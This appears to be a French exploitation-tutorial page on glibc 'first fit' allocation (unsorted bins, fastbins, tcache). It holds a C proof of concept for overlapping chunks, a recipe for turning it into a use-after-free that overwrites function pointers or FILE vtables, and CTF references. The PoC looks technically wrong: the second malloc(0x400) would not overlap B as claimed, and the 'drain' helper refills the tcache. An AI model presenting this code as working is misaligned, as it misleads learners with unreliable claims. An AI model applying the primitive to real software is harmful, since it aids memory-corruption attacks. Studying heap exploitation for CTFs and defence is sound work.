First Fit

First Fit

Lorsque vous libérez de la mémoire dans un programme utilisant glibc, différents "bins" sont utilisés pour gérer les morceaux de mémoire. Voici une explication simplifiée de deux scénarios courants : les bins non triés et les fastbins.

Bins Non Triés

Lorsque vous libérez un morceau de mémoire qui n'est pas un morceau rapide, il va dans le bin non trié. Ce bin agit comme une liste où les nouveaux morceaux libérés sont ajoutés à l'avant (la "tête"). Lorsque vous demandez un nouveau morceau de mémoire, l'allocateur examine le bin non trié depuis l'arrière (la "queue") pour trouver un morceau suffisamment grand. Si un morceau du bin non trié est plus grand que ce dont vous avez besoin, il est divisé, la partie avant étant retournée et la partie restante restant dans le bin.

Exemple :

• Vous allouez 300 octets (a), puis 250 octets (b), puis libérez a et demandez à nouveau 250 octets (c).
• Lorsque vous libérez a, il va dans le bin non trié.
• Si vous demandez à nouveau 250 octets, l'allocateur trouve a à la queue et le divise, retournant la partie qui correspond à votre demande et gardant le reste dans le bin.
• c pointera vers l'ancien a et sera rempli avec le contenu de a.

char *a = malloc(300);
char *b = malloc(250);
free(a);
char *c = malloc(250);

Fastbins

Les fastbins sont utilisés pour de petits morceaux de mémoire. Contrairement aux unsorted bins, les fastbins ajoutent de nouveaux morceaux au début, créant un comportement de dernier entré, premier sorti (LIFO). Si vous demandez un petit morceau de mémoire, l'allocateur prendra à partir du début du fastbin.

Exemple :

char *a = malloc(20);
char *b = malloc(20);
char *c = malloc(20);
char *d = malloc(20);
free(a);
free(b);
free(c);
free(d);
a = malloc(20);   // d
b = malloc(20);   // c
c = malloc(20);   // b
d = malloc(20);   // a

🔥 Considérations modernes sur glibc (tcache ≥ 2.26)

Depuis glibc 2.26, chaque thread conserve son propre tcache qui est interrogé avant le bin non trié. Par conséquent, un scénario de premier ajustement ne sera atteint que si :

1. La taille demandée est plus grande que tcache_max (0x420 par défaut sur 64 bits), ou
2. Le bin tcache correspondant est déjà plein ou vidé manuellement (en allouant 7 éléments et en les maintenant en usage).

Dans les exploits réels, vous ajouterez généralement une routine d'assistance telle que :

// Drain the tcache for a given size
for(int i = 0; i < 7; i++) pool[i] = malloc(0x100);
for(int i = 0; i < 7; i++) free(pool[i]);

Une fois que le tcache est épuisé, les libérations suivantes vont dans le bin non trié et le comportement classique de premier ajustement (recherche à la fin, insertion à la tête) peut être déclenché à nouveau.

🚩 Création d'un UAF de chunk chevauchant avec premier ajustement

Le fragment ci-dessous (testé sur glibc 2.38) montre comment le diviseur dans le bin non trié peut être abusé pour créer 2 pointeurs chevauchants – un puissant primitif qui convertit une seule libération en écriture après libération.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(){
setbuf(stdout, NULL);

/* 1. prepare 2 adjacent chunks and free the first one */
char *A = malloc(0x420);   // big enough to bypass tcache
char *B = malloc(0x420);
strcpy(A, "AAAA\n");
free(A);                   // A → unsorted

/* 2. request a *smaller* size to force a split of A */
char *C = malloc(0x400);   // returns lower half of former A

/* 3. The remainder of A is still in the unsorted bin.
Another 0x400-byte malloc will now return the *same*
region pointed to by B – creating a UAF/overlap. */
char *C2 = malloc(0x400);

printf("B  = %p\nC2 = %p (overlaps B)\n", B, C2);

// Arbitrary write in B is immediately visible via C2
memset(B, 'X', 0x10);
fwrite(C2, 1, 0x10, stdout);  // prints Xs
}

Recette d'exploitation (courante dans les CTF récents) :

1. Vider le tcache pour la taille cible.
2. Libérer un chunk pour qu'il atterrisse dans le bin non trié.
3. Allouer une taille légèrement plus petite – l'allocateur divise le chunk non trié.
4. Allouer à nouveau – la partie restante chevauche un chunk existant en cours d'utilisation → UAF.
5. Écraser des champs sensibles (pointeurs de fonction, vtable de FILE, etc.)

Une application pratique peut être trouvée dans le défi Setjmp des qualifications HITCON 2024 où ce primitif exact est utilisé pour pivoter d'un UAF à un contrôle total de __free_hook.{{#ref}} ../../../../references/2024_setjmp_firstfit.md {{#endref}}

🛡️ Atténuations & Renforcement

• Safe-linking (glibc ≥ 2.32) ne protège que les listes tcache/fastbin à liaison simple. Les bins non triés/petits/grands stockent toujours des pointeurs bruts, donc les chevauchements basés sur le premier ajustement restent viables si vous pouvez obtenir une fuite de heap.
• Chiffrement des pointeurs de heap & MTE (ARM64) n'affectent pas encore glibc x86-64, mais des drapeaux de durcissement de distribution tels que GLIBC_TUNABLES=glibc.malloc.check=3 provoqueront une interruption en cas de métadonnées incohérentes et peuvent casser des PoCs naïfs.
• Remplissage du tcache à la libération (proposé en 2024 pour glibc 2.41) réduirait encore l'utilisation non triée ; surveillez les futures versions lors du développement d'exploits génériques.

Autres Références & Exemples

• https://heap-exploitation.dhavalkapil.com/attacks/first_fit
• https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/
• ARM64. Utilisation après libération : Générer un objet utilisateur, le libérer, générer un objet qui obtient le chunk libéré et permet d'écrire dessus, écrasant la position de user->password de l'ancien. Réutiliser l'utilisateur pour contourner la vérification du mot de passe
• https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example
• Le programme permet de créer des notes. Une note aura les informations de la note dans un malloc(8) (avec un pointeur vers une fonction qui pourrait être appelée) et un pointeur vers un autre malloc() avec le contenu de la note.
• L'attaque consisterait à créer 2 notes (note0 et note1) avec des contenus malloc plus grands que la taille des informations de la note, puis à les libérer pour qu'elles entrent dans le fast bin (ou tcache).
• Ensuite, créer une autre note (note2) avec une taille de contenu de 8. Le contenu sera dans note1 car le chunk sera réutilisé, où nous pourrions modifier le pointeur de fonction pour pointer vers la fonction win et ensuite utiliser l'usage après libération de note1 pour appeler le nouveau pointeur de fonction.
• https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html
• Il est possible d'allouer de la mémoire, d'écrire la valeur souhaitée, de la libérer, de la réallouer et comme les données précédentes sont toujours là, elles seront traitées selon la nouvelle structure attendue dans le chunk, rendant possible de définir la valeur pour obtenir le flag.
• https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html
• Dans ce cas, il est nécessaire d'écrire 4 à l'intérieur d'un chunk spécifique qui est le premier alloué (même après avoir forcé la libération de tous). À chaque nouveau chunk alloué, son numéro dans l'index du tableau est stocké. Ensuite, allouer 4 chunks (+ le premier alloué), le dernier contiendra 4 à l'intérieur, les libérer et forcer la réallocation du premier, qui utilisera le dernier chunk libéré, celui avec 4 à l'intérieur.
• Récit des qualifications HITCON 2024 Setjmp (Quarkslab) – attaque pratique de chevauchement premier ajustement / non trié : https://ctftime.org/writeup/39355
• Récit de l'Angstrom CTF 2024 heapify – abus de la division du bin non trié pour fuir libc et obtenir un chevauchement : https://hackmd.io/@aneii11/H1S2snV40